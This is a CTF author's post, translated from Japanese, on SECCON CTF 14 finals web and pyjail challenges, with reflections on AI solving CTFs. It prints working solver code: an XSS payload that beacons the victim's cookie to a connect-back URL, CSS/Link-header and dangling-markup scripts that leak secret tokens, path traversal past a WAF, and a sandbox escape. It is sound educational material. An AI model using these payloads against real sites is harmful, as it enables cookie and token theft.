SECCON CTF 14 Finals: Author Writeups (English translation)

SECCON CTF 14 Finals: Author Writeups - arkark, arkark.

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Content (translated into English)

Machine translation of `2026-arkark-seccon-ctf-14-finals-author-writeups.md`, which holds the source's own words. Code, payloads, type names, URLs and CVE identifiers were masked before translating and restored after, so they are byte-identical to the original.

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The SECCON CTF 14 finals took place over two days, from February 28 to March 1!

Thank you to everyone who participated, and congratulations to everyone who placed


Flag Accepted!!
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This year, the competition format was Jeopardy on the first day and King of the Hill on the second. Since the formats were completely different on the two days, I think it made a big difference for participants that there was none of the usual practice of sacrificing sleep between days 1 and 2 to keep working on challenges (the so-called homework).

I created the web and jail challenges for Jeopardy. I particularly recommend Slay the Note!

| Challenge | Category | Intended Difficulty | Solved / 9 (Internatinal) | Solved / 9 (Domestic) | Keywords | | | Warmup | web | warmup | 9 | 9 | stream | | | DOMDOMDOMPurify | web | easy | 9 | 9 | DOMPurify, mXSS | | | Shadow CSS | web | medium | 1 | 0 | Firefox, Link | | | Slay the Note | web | medium | 0 | 0 | cookie parser | | | increasing | jail | medium | 4 | 4 | pyjail | |

The source code and solvers for each challenge have already been pushed to the repository:

- https://github.com/arkark/my-ctf-challenges?tab=readme-ov-file#seccon-ctf-14-finals

Note: This article is not a writeup; it covers the background behind creating the challenges and my reflections.

Jeopardy ran for nine hours on the first day. Given that each member of a four-person team tackles their own specialty, it is effectively a nine-hour solo CTF. I prepared the challenge set with the intention of adjusting the overall difficulty around that assumption.

Looking only at the results, the two relatively easy web challenges apparently turned out to be AI-solvable and were solved by every team, while the remaining two were barely solved at all, so they ended up doing little to differentiate the standings. The inadequate AI testing was entirely down to insufficient preparation on my part, and I apologize. There are various small reasons why things turned out that way, but I will discuss them later to avoid getting sidetracked. Several teams were almost at the solution to Slay the Note, so there might have been more solves if the competition had lasted a few hours longer.

info

I put this section together because I wanted to articulate my current thoughts, but feel free to skip it.

With the recent AI boom, I have been seeing more discussion about CTFs in the LLM era, so I will touch on that here. People have been asking “Are CTFs over? / Will they be over?” for a little over a year now, and I think every team at these SECCON CTF finals was indeed using LLMs as its main weapon.

Note: The picture seems to differ greatly by category. From the sidelines, my impression is that LLM advances are most noticeable in the order “reversing crypto web pwn.” Since I only have a view into web, the following comments are **about web**, and I take no position on the other categories.

My current impression is as follows:

- Standard challenges and easy challenges for beginners: Solvable just by handing them to AI
- Somewhat more advanced, nonstandard challenges: Solvable with AI if given appropriate guidance
- Challenges involving novelty or creativity: Still not solvable with AI

I feel that some medium-difficulty challenges and high-difficulty challenges still work as a competition. In fact, Shadow CSS and Slay the Note were barely solved this time. There is also some variation depending on how well people use AI and how seriously they go for Pay to Win, so I want to avoid the misconception that everyone gains equivalent abilities simply by using AI. Although I wrote that AI cannot solve difficult challenges, we are in an era where using and collaborating with AI to solve them is a given.

That said, while this is the current situation, it is also true that the gradient—or rather, threshold—of "AI-solvability" described above is being pushed upward as we speak. Any area that AI can solve easily loses its competitive value entirely. Given that this area keeps growing, **"if you look to CTFs for competition,"** it is natural that they will become obsolete in the future. I want to accept that honestly.

To be honest, though, boss-level challenges with 0–2 solves in online CTFs involve completely new attack techniques or demand extraordinary out-of-the-box thinking, so I suspect they will remain difficult to solve with AI alone. Conversely, if AI becomes able to solve those, it feels as though everything in the world resembling "research" would lose its value. I cannot rule out that future eventually arriving, but if things reach that point, the impact will probably be great enough to change the structure of society, before we even get to the question of CTFs, so I think we can set that aside for now. Well, we should be concerned, but that seems like a discussion on a much larger scale.

So CTFs featuring challenges at that level of difficulty seem likely to survive for a while yet, but I do worry that they may become something only a handful of people at the very top can enjoy.

Taking the broader view, I think it may be best to let go of the illusion that "CTFs are something everyone can enjoy **as a competition**" and shift toward CTFs purely **for entertainment or education**. Alternatively, something like the format Intigriti ran for a while—"release a single difficult XSS challenge give everyone about a week to tackle it"—might be another worthwhile approach.

Since this community has come so far in its maturity (?), I hope public attention moves toward recognizing how much room there still is to enjoy CTFs as entertainment, without gratuitous provocation or pessimism about CTFs being over. Playing puzzles involving computer science is fun, and I would like it to become more widespread.

Incidentally, I have always been in the "as long as we have fun playing, that is enough" camp, and have only considered rankings a secondary element, so I am not pessimistic about the current situation. It may be tough for competition junkies, though.

Challenge description:

```
warpup = warp + warmup

- Challenge: http://warpup.{int,dom}.seccon.games:3000
```

Source code & solver:

- https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202603_SECCON_CTF_14_Finals/web/warpup

More and more standard libraries, frameworks, and so on in various languages are providing features with stream interfaces. I tried making a challenge around a particularly common pitfall in utf-8 encoding/decoding.

Here is the original inspiration:

- https://zenn.dev/fraim/articles/2024-02-01-rust-hyper-buffer-size

In this challenge, the request body is read as a stream, as shown below. Ultimately, reading `/proc/self/environ` through path traversal gives you the flag.

backend/src/main.rs

```
async fn read_file(
    body: impl Stream<Item = Result<impl bytes::Buf, warp::Error>>,
) -> impl warp::Reply {
    let path: String = body
        .fold(String::from("./"), |mut path, buf| async move {
            let mut buf = buf.unwrap();
            while buf.has_remaining() {
                let chunk = buf.chunk();
                path += &String::from_utf8(chunk.into()).unwrap_or_default();
                buf.advance(chunk.len());
            }
            path
        })
        .await;
    fs::read_to_string(&path).unwrap_or(format!("Not Found: {}", &path).into())
}
```

The important part is that, in `String::from_utf8(chunk.into()).unwrap_or_default()`, decoding failures are silently swallowed by `unwrap_or_default`. Also, sending a long payload all at once causes it to be split into chunks, so if you supply a long string that gets split right in the middle of multibyte characters, everything is ignored and it becomes an empty string.

The following proxy is also provided, and the `waf` function prevents straightforward path traversal, so the challenge was to figure out what to do:

proxy/app.py

```
import socket, select, threading

LISTEN = ("0.0.0.0", 3000)

UPSTREAM = ("backend", 3000)

def waf(req: str) -> bool:

    return (

        ".." in req

        or

        "transfer" in req.lower()

    )

def proxy(client: socket.socket, upstream: socket.socket):

    rlist = [client, upstream]

    for conn in rlist:

        conn.settimeout(0.2)

    req = b""

    while rlist:

        r, _, _ = select.select(rlist, [], [], 10)

        if not r:

            break

        for src in r:

            dst = [client, upstream][src is client]

            data = b""

            while True:
```

```
            try:
                data += src.recv(65536)
            except (BlockingIOError, TimeoutError) as e:
                break
        if not data:
            dst.shutdown(socket.SHUT_WR)
            rlist.clear()
            break
        if src is client:
            req += data
            if waf(req.decode()):
                client.sendall(
                    b"HTTP/1.1 403 Forbidden\r\n"
                    b"Content-Type: text/plain\r\n"
                    b"Content-Length: 0\r\n"
                    b"Connection: close\r\n\r\n"
                )
                rlist.clear()
                break
        dst.sendall(data)
def handle(client: socket.socket):
    try:
```

```
        upstream = socket.create_connection(UPSTREAM, timeout=10)
        proxy(client, upstream)
    finally:
        for conn in (client, upstream):
            try:
                conn.close()
            except:
                pass
def main():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        sock.bind(LISTEN)
        sock.listen(socket.SOMAXCONN)
        print(f"* forwarding {LISTEN} -> {UPSTREAM}")
        while True:
            client, _ = sock.accept()
            threading.Thread(target=handle, args=(client,), daemon=True).start()
if __name__ == "__main__":
    main()
```

Here is the solver:

- https://github.com/arkark/my-ctf-challenges/blob/main/challenges/202603_SECCON_CTF_14_Finals/web/warpup/solution/solve.py

You can solve it by sending a long payload over HTTP/1.1 with appropriately timed sleeps, but it seemed that many teams had their AI work hard to solve it using HTTP/2.

I thought I had tested it with AI, but apparently my testing was inadequate. I had not anticipated an HTTP/2 solution, and although I did observe the AI trying to solve it over HTTP/2, I seem to remember getting impatient waiting for the answer and telling it, “Please stop pursuing the HTTP/2 approach.” That was really bad.

I should have tested it by simply asking the AI to solve it without providing any context at all.

Challenge description:

> DOM DOM DOM
>
> - Challenge: http://*domdomdom.{int,dom}.seccon.games:3000*
>
> - Admin bot: http://*domdomdom.{int,dom}.seccon.games:1337*

Source code & solver:

- https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202603_SECCON_CTF_14_Finals/web/domdomdom

The challenge was to achieve XSS in the following HTML file. It is a simple DOMPurify puzzle.

```
<body>
 <h1>XSS Challenge</h1>
 <form action="/" method="get">
  <input name="x" placeholder="{X}" required />
  <input name="y" placeholder="{Y}" required />
  <input name="z" placeholder="{Z}" required />
  <button type="submit">Go</button>
 </form>
 <main id="result" style="font-size: 2em; padding: 0.5em">{X}{Y}{Z}</main>
 <script
  src="https://cdn.jsdelivr.net/npm/dompurify@3.3.1/dist/purify.min.js"
  integrity="sha256-m0lAV/rWZW/ZziCJ0LaJjfljLBDkXkd1pDBzpGz/yMs="
  crossorigin="anonymous"
 ></script>
 <script>
  DOMPurify.addHook("afterSanitizeAttributes", (node) => {
   for (const { name, value } of node.attributes) {
    if (/[{}]/.test(value)) node.attributes.removeNamedItem(name);
   }
  });
  const [[, x], [, y], [, z]] = new URLSearchParams(location.search);
  if (x && y && z)
```

```
    result.innerHTML = "{X}{Y}{Z}"
      .replace("{X}", () => DOMPurify.sanitize(`${x}`))
      .replace("{Y}", () => DOMPurify.sanitize(`${y}`))
      .replace("{Z}", () => DOMPurify.sanitize(`${z}`));
  </script>
</body>
```

I had intended to impose a restriction preventing the characters `{}` from being used in attribute values, but the code was simply buggy, and you could use them in attribute values by fooling the for loop a little. That made it far too easy, so AI solved it instantly.

This is the most embarrassing challenge-creation mistake I have ever made, and I need to learn from it. Sorry...

The intended solution is below:

```
const x = `<style><{Y}/style> <{Z}img src onerror=eval(decodeURIComponent(location.hash.slice(1)))></style>`;
const y = `<a<!--`;
const z = `<a<!--`;
const xss = `navigator.sendBeacon("${CONNECTBACK_URL}/flag", document.cookie)`;
const url = `http://web:3000?${new URLSearchParams({ x, y, z })}#${encodeURIComponent(xss)}`;
```

The result of `DOMPurify.sanitize("<a<!--")` is an empty string, so you can solve it by working that into the puzzle appropriately.

```
DOMPurify.sanitize(`${y}`)
```

If you ask an LLM, “Is there a way to make the result an empty string?”, it will give you an answer. So I was aiming for a level where you could solve it by checking the finer details of DOMPurify's behavior, doing some light puzzle-solving, and giving LLNM appropriate guidance.

Challenge description:

> Shadow DOM is not a security boundary, but a fun CTF toy :)
>
> - Challenge: http://*shadow-css.{int,dom}.seccon.games:3000*
>
> - Admin bot: http://*shadow-css.{int,dom}.seccon.games:1337*

Source code & solver:

- https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202603_SECCON_CTF_14_Finals/web/shadow-css

The challenge server's source code consists of just the following:

```
import express from "express";
import cookieParser from "cookie-parser";
const template = `
<!DOCTYPE html>
<html>
 <head>
  <style>{{CSS}}</style>
 </head>
 <body>
  <h1>Shadow CSS  </h1>
  <div>
   <template shadowrootmode="closed">
    <div data-token="{{TOKEN}}"></div>
   </template>
  </div>
 </body>
</html>
`.trim();
express()
 .use(cookieParser())
 .get("/", (req, res) => {
  const { css = "", k, v } = req.query;
```

```
  const TOKEN = req.cookies.TOKEN ?? "TOKEN_0123456789abcdef01234567";
  const html = template
    .replace("{{TOKEN}}", () => TOKEN.replace(/[<>"]/g, ""))
    .replace("{{CSS}}", () => css.replace(/[<>]/g, ""));
  if (k && v) res.header(k, v);
  res.type("html").end(html);
})
.listen(3000);
```

The goal is to steal the bot's `TOKEN` cookie, and the browser is **Firefox**.

The challenge asked whether it was possible to steal an attribute value inside a Shadow DOM when CSS injection was possible and you could specify one header key/value pair.

As shown in kinugawa's slides below, abusing CSS inheritance makes it possible to leak **text** inside a Shadow DOM through CSS injection, but leaking **attribute values** is difficult:

- https://speakerdeck.com/masatokinugawa/shibuya-dot-xss-techtalk-number-13?slide=41

I've tried various approaches to leaking attribute values myself, but haven't come up with an effective technique so far (if anyone has, please let me know!). So I developed this into a challenge asking whether a leak would be possible if header injection were available in addition to CSS injection.

The intended solution is to load CSS through the Link header. Currently, Firefox is the only major browser that allows you to specify a stylesheet in the Link header. As with a normal `<link>` element, you can specify integrity in the Link header, so SRI checks let you identify one character at a time while adjusting the response size with `Content-Length`. The way the oracle is constructed is similar to “cgi-2023,” a challenge I created two years ago, so I think it will be a useful reference:

- https://blog.arkark.dev/2023/12/28/seccon-finals#web-cgi-2023

You can leak it like this:

```
<body>
 <script
  src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.2.0/crypto-js.min.js"
  integrity="sha512-a+SUDuwNzXDvz4XrIcXHuCf089/iJAoN4lmrXJg18XnduKK6YlDHNRalv4yd1N40OKI80tFidF+rqTFKGP
  crossorigin="anonymous"
  referrerpolicy="no-referrer"
 ></script>
 <script type="module">
  const BASE_URL = "http://web:3000";
  const CHARS = [..."0123456789abcdef"];
  const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
  const calcIntegrity = (data) => "sha256-" + CryptoJS.enc.Base64.stringify(CryptoJS.SHA256(data));
  const getCss = (css, prefix) => {
   return (
    `
<!DOCTYPE html>
<html>
 <head>
  <style>{{CSS}}</style>
 </head>
 <body>
  <h1>Shadow CSS  </h1>
```

```
<div>
  <template shadowrootmode="closed">
    <div data-token="
    `
      .trim()
      .replace("{{CSS}}", css) + prefix
  );
};
const win = open("");
await sleep(100);
const leak = async (known) => {
  const links = [];
  for (const c of CHARS) {
    const prefix = known + c;
    const innerCss = `{} h1 { background: url(${location.origin}/leak?prefix=${prefix}) }`;
    const outerCss = getCss(innerCss, prefix);
    const integrity = calcIntegrity(outerCss);
    const link = `</?${new URLSearchParams({
      css: innerCss,
      k: "Content-Length",
      v: new TextEncoder().encode(outerCss).length,
    })}>; rel=stylesheet; integrity=${integrity}`;
```

```
      links.push(link);
    }
    const url = `${BASE_URL}/?${new URLSearchParams({
      k: "Link",
      v: links.join(", "),
    })}`;
    win.location = url;
    return await Promise.race([
      fetch(`/known?length=${known.length + 1}`).then((r) => r.text()),
      sleep(1000),
    ]);
  };
  let known = "TOKEN_";
  for (let i = 0; i < 12 * 2; i++) {
    console.log({ known });
    known = await leak(known);
  }
  navigator.sendBeacon("/token", known);
</script>
</body>
```

Incidentally, the bot's timeout is set to 10 seconds, which is quite short for an XS-Leak, so the oracle needs to be fast.

The Link header actually allows multiple links to be specified, separated by commas. The intended solution uses this to speed things up, completing the leak in about 5 seconds:

- https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Link#specifying_multiple_links

Also, a small tip: normally, if the document is not in Quirks Mode, the browser refuses to load a `Content-Type: text/html` response as CSS, but this appears not to apply when loading through the Link header.

Challenge description:

> Snecko Eye
>
> - Challenge: http://*slay-the-note.{int,dom}.seccon.games:3000*
>
> - Admin bot: http://*slay-the-note.{int,dom}.seccon.games:1337*

Source code & solver:

- https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202603_SECCON_CTF_14_Finals/web/slay-the-note

The challenge server's source code consists of just the following:

```
import Koa from "koa";
import Router from "@koa/router";
import bodyParser from "@koa/bodyparser";
import sanitize from "sanitize-html";
import fs from "node:fs";
import crypto from "node:crypto";
const app = new Koa();
app.use(bodyParser());
app.use((ctx, next) => {
 const nonce = crypto.randomBytes(8).toString("base64");
 ctx.set(
  "Content-Security-Policy",
  `script-src 'nonce-${nonce}'; style-src 'nonce-${nonce}'; base-uri 'none'`,
 );
 ctx.nonce = nonce;
 ctx.notes = ((v) => (v ? v.split("|") : []))(ctx.cookies.get("notes"));
 next();
 ctx.cookies.set("notes", ctx.notes.join("|"));
});
const router = new Router()
 .get("/", (ctx) => {
  ctx.type = "html";
```

```
  ctx.body = fs
    .readFileSync("index.html", { encoding: "utf-8" })
    .replaceAll("{{NONCE}}", () => ctx.nonce);
})
.get("/notes", (ctx) => {
  ctx.type = "json";
  ctx.body = ctx.notes;
})
.post("/new", (ctx) => {
  const note = sanitize(
    `<article>${String(ctx.request.body.note).slice(0, 1024)}</article>`,
  );
  ctx.notes.push(note);
  ctx.notes.sort();
  ctx.redirect("/");
});
app.use(router.routes()).use(router.allowedMethods());
app.listen(3000);
```

As shown below, the bot posts TOKEN as a note, so the goal is to leak the contents of that note:

```
const context = await browser.createBrowserContext();

try {
  const page1 = await context.newPage();
  await page1.goto(challenge.appUrl, { timeout: 3_000 });
  await page1.waitForSelector("#create");
  await page1.type("#create input[name=note]", token);
  await page1.click("#create input[type=submit]");
  await sleep(1_000);
  await page1.close();
  await sleep(1_000);
  const page2 = await context.newPage();
  await page2.goto(url, { timeout: 5_000 });
  await sleep(15_000);
  await page2.close();
} catch (e) {
  console.error(e);
}
```

The most important part of this challenge is the following logic in the cookie parser in Koa's cookies dependency:

https://github.com/pillarjs/cookies/blob/0.9.1/index.js#L95

```
if (value[0] === '"') value = value.slice(1, -1)
```

Surprisingly, if the value portion of a Cookie starts with `"`, one character is removed from both the beginning and the end during parsing. In addition, if you read the application logic carefully, its handling of `|` is odd, so you can solve the puzzle by using these two quirks:

```
<body>
 <form id="create" action="..." method="post" target="win">
  <input type="text" name="note" />
 </form>
 <script type="module">
  const BASE_URL = "http://web:3000";
  const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
  const win = open("", "win");
  const createNote = async (note) => {
   const form = document.forms[0];
   form.action = `${BASE_URL}/new`;
   form.note.value = note;
   form.submit();
   await sleep(500);
  };
  const deleteLast = async (num) => {
   for (let i = 0; i < num; i++) {
    win.location = `${BASE_URL}/notes`;
    await sleep(100);
   }
  };
  await createNote(`Y|${"".repeat(20)}`);
```

```
  await createNote(`Z|$<table></table>`);
  await deleteLast(`></table></article>`.length - 2 - 1);
  await createNote(`|/background="${location.origin}/leak?dangling=`);
  await createNote(`X"<table></table>`);
</script>
</body>
```

sanitize-html is pretty solid, and I think using the ancient technique `<table background=...` at the end may have been a blind spot. Incidentally, I asked ChatGPT:

CSPでscriptとstyleは禁止されています

[
"address", "article", "aside", "footer", "header", "h1", "h2", "h3", "h4",
"h5", "h6", "hgroup", "main", "nav", "section", "blockquote", "dd", "div",
"dl", "dt", "figcaption", "figure", "hr", "li", "main", "ol", "p", "pre",
"ul", "a", "abbr", "b", "bdi", "bdo", "br", "cite", "code", "data", "dfn",
"em", "i", "kbd", "mark", "q", "rb", "rp", "rt", "rtc", "ruby", "s", "samp",
"small", "span", "strong", "sub", "sup", "time", "u", "var", "wbr", "caption",
"col", "colgroup", "table", "tbody", "td", "tfoot", "th", "thead", "tr"
]
の要素の中でクリック等の操作なしでHTTPリクエストを送信可能なものはありますか？

思考時間: 2m 23s ›

あります。`table` **系要素の** `background` **属性**です（超レガシーですが、現行ブラウザでも残っているケースがあります）。

For the solution, please refer to st98's writeup, which is very detailed and easy to understand:

- https://nanimokangaeteinai.hateblo.jp/entry/2026/03/02/235931#-Web-500-Slay-the-Note-0-solves

As for how I came up with the challenge, I was looking through parser implementations as a hobby and happened to find an interesting implementation, so I turned it directly into a puzzle. I'm proud of it as a puzzle, so I'd be happy if lots of people gave it a try!

I also recommend twisty-xss, which I created last year, as an XSS puzzle. Let's solve some puzzles.

- https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202503_SECCON_CTF_13_Finals/web/twisty-xss

By the way, Slay the Spire 2 is really fun. Please help me.

Challenge description:

```
a bb ccc dddd eeeee ffffff ggggggg ...

`nc increasing.seccon.games 5000`
```

Source code & solver:

- https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202603_SECCON_CTF_14_Finals/jail/increasing

This was the only jail challenge in the finals. I could have prepared several, but I held back because I figured not many four-person teams would have someone coming specifically to handle jail challenges.

It's a pyjail:

```python
code = input("code> ")[:130]
if not code.isascii():
    print("bye")
    exit(1)
max_len = 0
for m in __import__("re").finditer(r"\w+", code):
    if len(m[0]) <= max_len:
        print("bye")
        exit(1)
    max_len = len(m[0])
eval(code, {"__builtins__": {}})
```

The challenge was to do strictly monotonically increasing programming, but within 130 characters...

The premise makes no sense, but the idea came from primal in jailCTF 2025:

- https://github.com/jailctf/challenges-2025/blob/master/primal/handout/main.py

In primal, the restriction was that you could only use things whose lengths were prime numbers. I find it interesting that even such a strange restriction can work as a proper challenge.

Now, the intended solution for this challenge, increasing, was the following (124 characters):

```
(__builtins__:=[].__reduce_ex__(-~((()==()))[()<()].__getattribute__("\u0000__builtins__"[(()==():])))["\U00000062reakpoint"]()
```

Did anyone use the same solution?

Overwriting `__builtins__` makes it possible to call `breakpoint()`. My favorite part is how neatly `\U00000062` fits.
